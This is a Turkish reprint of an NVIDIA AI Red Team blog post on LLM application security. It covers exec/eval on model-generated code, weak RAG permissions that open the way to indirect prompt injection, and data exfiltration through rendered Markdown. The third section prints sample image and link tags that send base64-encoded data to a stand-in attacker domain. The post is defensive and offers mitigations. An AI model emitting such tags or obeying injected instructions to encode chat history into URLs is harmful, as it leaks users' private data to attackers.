SON DAKİKA

Nvdia

NVIDIA AI Kırmızı Takımından Pratik LLM Güvenlik Tavsiyeleri

Son birkaç yılda, NVIDIA AI Red Team (AIRT), üretime ulaşmadan önce birçok farklı AI destekli sistemi potansiyel zafiyetler ve güvenlik zayıflıkları açısından değerlendirmiştir. AIRT, LLM tabanlı uygulamaların güvenliğini ciddi şekilde artırabilecek bazı yaygın zafiyetler ve potansiyel güvenlik açıkları belirlemiştir.

Yaygın Bulgular

Bu blogda, bu değerlendirmelerden elde edilen temel bulguları ve en önemli riskleri nasıl azaltabileceğinizi paylaşıyoruz.

Zafiyet 1: LLM tarafından üretilen kodun çalıştırılması uzaktan kod yürütme riskini artırabilir

En ciddi ve sürekli sorunlardan biri, yeterli izolasyon olmaksızın exec veya eval gibi fonksiyonların LLM tarafından üretilen çıktılar üzerinde kullanılmasıdır. Geliştiriciler bu fonksiyonları genellikle grafik oluşturmak için kullanırken, bazen daha karmaşık görevler için de genişletilmektedir; örneğin, matematiksel hesaplamalar yapmak, SQL sorguları oluşturmak veya veri analizi için kod yazmak gibi.

Risk nedir? Saldırganlar, doğrudan veya dolaylı olarak ortaya çıkan komut enjeksiyonunu kullanarak LLM’yi kötü niyetli kod üretmesi için manipüle edebilir. Eğer bu çıktı yeterince güvenli bir ortamda çalıştırılmazsa, uzaktan kod yürütme (RCE) sonucu saldırganların tam uygulama ortamına erişim sağlamasına neden olabilir.

A screenshot of highlighted text showing a prompt injection with color-coded layers of encapsulation and evasion to deliver the payload through layers of pre-processing.
Şekil 1: LLM tarafından üretilen kodu exec ifadesi ile çalıştırarak uzaktan kod yürütme elde etmek için kullanılan bir komut enjeksiyonu.

Buradaki çözüm açıktır: exec, eval veya benzeri yapıları kullanmaktan kaçının; özellikle LLM tarafından üretilen kodda. Bu fonksiyonlar doğası gereği risklidir ve komut enjeksiyonu ile birleştirildiğinde, RCE’yi neredeyse anlık hale getirebilir. Örneğin, exec veya eval gibi çağrılar, kütüphaneler içinde gömülü ve koruma sağlansa bile, bir saldırganın kötü niyetli komutlarını katmanlar halinde gizlemesine olanak tanır.

Şekil 1’de de görebileceğiniz gibi, komut enjeksiyonu, koruma katmanları (yeşil renkte gösterilen) içinde gizlendiğinde RCE’ye ulaşmaktadır.

Onun yerine, uygulamanızı LLM yanıtını anlam ve talimatları analiz edecek şekilde yapılandırın ve ardından bunları önceden belirlenmiş, güvenli ve açıkça izin verilen işlevlere eşleyin. Eğer dinamik kod yürütmesi gerekli ise, bunun güvenli ve izole bir kumanda ortamında gerçekleşmesini sağlayın. WebAssembly tabanlı tarayıcı kumandaları hakkında başka bir yazımızda nasıl güvenli bir şekilde yaklaşılabileceği konusunda bilgi bulabilirsiniz.

Zafiyet 2: Geri alma artırılmış üretim veri kaynaklarında güvensiz erişim kontrolü

Geri alma artırılmış üretim (RAG), uygulamaların güncel dış verileri modelin yeniden eğitilmesine gerek kalmadan dahil etmesine olanak tanıyan yaygın bir LLM uygulama mimarisidir. Bilgi geri alma aşaması, saldırganların veri enjeksiyonu yapabilmesi için bir vektör de olabilir. Uygulama pratiğimizde RAG kullanımı ile ilgili iki büyük zafiyet görmekteyiz:

Birincisi, hassas bilgilere erişim izninin kullanıcı bazında doğru bir şekilde uygulanmamasıdır. Bu durumda, kullanıcıların erişim izni olmayan belgeleri görebilme imkanı doğmaktadır. Bu tür hataların sıklıkla ortaya çıktığı birkaç durumu şu şekilde sıralayabiliriz:

  1. Veri kaynağındaki (örneğin, Confluence, Google Workspace gibi) izinlerin doğru bir şekilde ayarlanmaması ve bakımının yapılmaması. Bu hata daha sonra belgeler RAG veri tabanına alındığında yayılmaktadır.
  2. RAG veri tabanı, kaynak izinlerini sağlıklı bir şekilde çoğaltmamaktadır; genellikle yazılı belgelerin orijinal kaynaklarından alınan okuma token’ları fazla izinli olarak kullanılmaktadır.
  3. Kaynak ile RAG veri tabanı arasındaki izinlerin güncellenmesindeki gecikmeler, veri sızıntılarına yol açmaktadır.

Belgelerin veya veri kaynaklarının yetkilendirilmesinin yönetimini gözden geçirmek, bu sorunu erkenden yakalamaya yardımcı olabilir ve ekiplerin buna yönelik tasarım yapmasını kolaylaştırabilir.

Diğer ciddi bir zafiyet ise, RAG veri tabanına yazma izinlerinin aşırı geniş olmasıdır. Örneğin, bir kullanıcının e-postaları RAG boru hattının veri geri alma aşamasında yer aldığında, bu bilgiye erişimi olan herhangi biri, içeriğin veri geri alma aracı tarafından döndürülen verilere dahil edilmesi için bilgilere sahip olabilir. Bu da dolaylı komut enjeksiyonuna kapı açar ve bu bazı durumlarda çok dikkatli bir şekilde hedeflenmiş olabilir, bu yüzden tespiti son derece zorlaşır. Bu tür bir zafiyet, bir saldırı zincirinin erken bir aşaması olup, daha sonraki hedefleri uygulama sonuçlarını belli bir konuda kirletme veya kullanıcının kişisel belgelerini veya verilerini dışarı sızdırmaya yönelik olabilir.

RAG veri tabanına geniş yazma erişimini azaltmak oldukça zor olabilir çünkü bu, uygulamanın istediği işlevselliği etkilemektedir. Örneğin, gün içinde gelen e-postaların özetlenmesi önemli ve değerli bir kullanım durumu olabilir. Bu durumda, azaltma uygulamanın diğer alanlarında gerçekleşmeli veya belirli uygulama gereksinimleri etrafında tasarlanmalıdır.

E-postalar için, dış e-postaların hariç tutulması veya ayrı bir veri kaynağı olarak erişilmesi, sonuçların birbirine karışmasını önleyebilir. Çalışma belgeleri (örneğin, SharePoint, Google Workspace) için kullanıcıların yalnızca kendi belgelerini, kendi organizasyonundaki kişilerin belgelerini ve tüm belgeleri seçmesine izin vermek, kötü niyetli belgelerin etkisini sınırlayabilir.

İçerik güvenlik politikaları (bir sonraki zafiyet) veri dışa aktarma riskini azaltmak için kullanılabilir. Geri alma artırılmış talimatlara veya belgelerin kontrolüne yapılacak koruma kontrolleri, yanıtların sorguya uygun olup olmadığını doğrulamak için uygulanabilir. Son olarak, belirli alanlar için (örneğin, İnsan Kaynakları ile ilgili bilgiler) daha sıkı bir şekilde kontrol edilen, yetkili belgeler veya veri setleri oluşturulabilir.

Zafiyet 3: LLM çıktılarının aktif içerik render edilmesi

LLM’lerin veri sızdırma potansiyeli olan Markdown (ve diğer aktif içerikler) kullanımı, Johann Rehberger‘in 2023 ortalarında yayınladığı yazısından beri bilinen bir sorundur. Ancak, AI Red Team hala bu zafiyeti LLM destekli uygulamalarda bulmaktadır.

Bir bağlantıya veya resme içerik ekleyerek, kullanıcının tarayıcısının bir saldırganın sunucusuna yönlendirilmesi sağlanabilir. Bu durumda, bağlantıya tıklanması ya da resmin render edilmesi durumunda, içerik, saldırganın sunucusundaki loglarda görünecektir. Tarayıcının, görüntü verilerini almak için saldırganın alanına bir ağ çağrısı yapması gereklidir. Bu aynı ağ çağrısı, şifrelenmiş hassas verileri de içerebilir ve böylece verilerin saldırgana sızdırılmasına yol açabilir. Dolaylı komut enjeksiyonu sıklıkla kullanıcının konuşma geçmişini bir bağlantı içinde kodlamak için istismar edilebilir, bu da veri sızdırılmalarına neden olur.

<div class="markdown-body">
  <p>
    <img src="https://iamanevildomain.com/q?SGVsbG8hIFdlIGxpa2UgdhIGN1dCBvZiB5b3VyIGppYiEgRW1haWwgbWUgd2loCB0aGUgcGFzc3dvc mQgQVBQTEUgU0FVQ0Uh" alt="Bu gayet iyi">
  </p>
  <h3>Kaynaklar</h3>
</div>
A chat session where the server's response contains the requested image (the “this is fine” meme).
Şekil 2: Kötü niyetli yükü otomatik olarak veri sızdıran resmin yüklenmesi yoluyla test etme.

Benzer şekilde, Şekil 3’te aktif bağlantılar, varış yerini ve eklenen sorgu verisini gizlemek için kullanılabilir. Bu bağlantı, sorgu dizesine kodlanmış Tm93IHlvdSdyZSBqdXN0IHNob3dpbmcgb2ZmIDsp bilgisini dışarı sızdırabilir.

<a class="MuiTypography-root MuiTypography-inherit MuiLink-root MuiLink-underlineAlways css-7mvu2w" href="https://iamanevildomain.com/q?Tm93IHlvdSdyZSBqdXN0IHNob3dpbmcgb2ZmIDsp" node="[object Object]" target="_blank">daha fazlasını öğrenmek için tıklayın!</a>
A chat session where the server’s response contains the requested phrase complete with active link.
Şekil 3: Sunucunun bir bağlantı ile yanıt verdiği bir sohbet oturumu.

Bu zafiyeti azaltmak için, aşağıdaki önlemlerden bir veya daha fazlasını öneriyoruz:

  1. Yalnızca önceden belirlenmiş “güvenli” sitelerden resim yüklenmesine izin veren içerik güvenlik politikaları kullanın. Bu, kullanıcının tarayıcısının otomatik olarak saldırgan sunucularından resimleri yüklemesini engeller.
  2. Aktif bağlantılar için, uygulama kullanıcıya harici bir siteye bağlanmadan önce tam bağlantıyı göstermeli ya da bağlantılar “pasif” olmalı, yani alan adına erişmek için kopyala-yapıştır işlemi gerektirmelidir.
  3. LLM çıktılarının potansiyel olarak dinamik olarak üretilen markdown, HTML, URL’ler veya diğer aktif içeriği kaldırmak için dezenfekte edilmesi gereklidir.
  4. Son çare olarak, kullanıcı arayüzünde aktif içeriği tamamen devre dışı bırakın.

Sonuç

NVIDIA AI Red Team, birçok AI destekli uygulamayı değerlendirmiştir ve bunları koruma ve güvenliğini artırma konusunda bir dizi basit öneri belirlemiştir. En önemli üç bulgumuz, LLM tarafından üretilen kodun çalıştırılmasının uzaktan kod yürütme riskini artırması, RAG veri tabanlarındaki güvenlik izinlerinin yetersiz olması nedeniyle veri sızıntısı ve/veya dolaylı komut enjeksiyonu riskini artırması ve LLM çıktılarının aktif içerik olarak render edilmesi durumunda veri sızdırılmasıdır. Bu zafiyetleri adresleyerek LLM uygulamanızı en yaygın ve etkili güvenlik açıklarına karşı koruyabilirsiniz.

Adversarial Machine Learning temellerini daha iyi anlamak isterseniz, kendinize uygun olan NVIDIA DLI çevrimiçi eğitim programına katılabilirsiniz. Bu alandaki sürekli çalışmalarımız hakkında daha fazla bilgi almak için NVIDIA Teknik Blog üzerindeki güvenlik ve AI güvenliği konulu diğer yazılara göz atabilirsiniz.

Kaynak

Nvdia Blog

Düşüncenizi Paylaşın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

İlgili Teknoloji Haberleri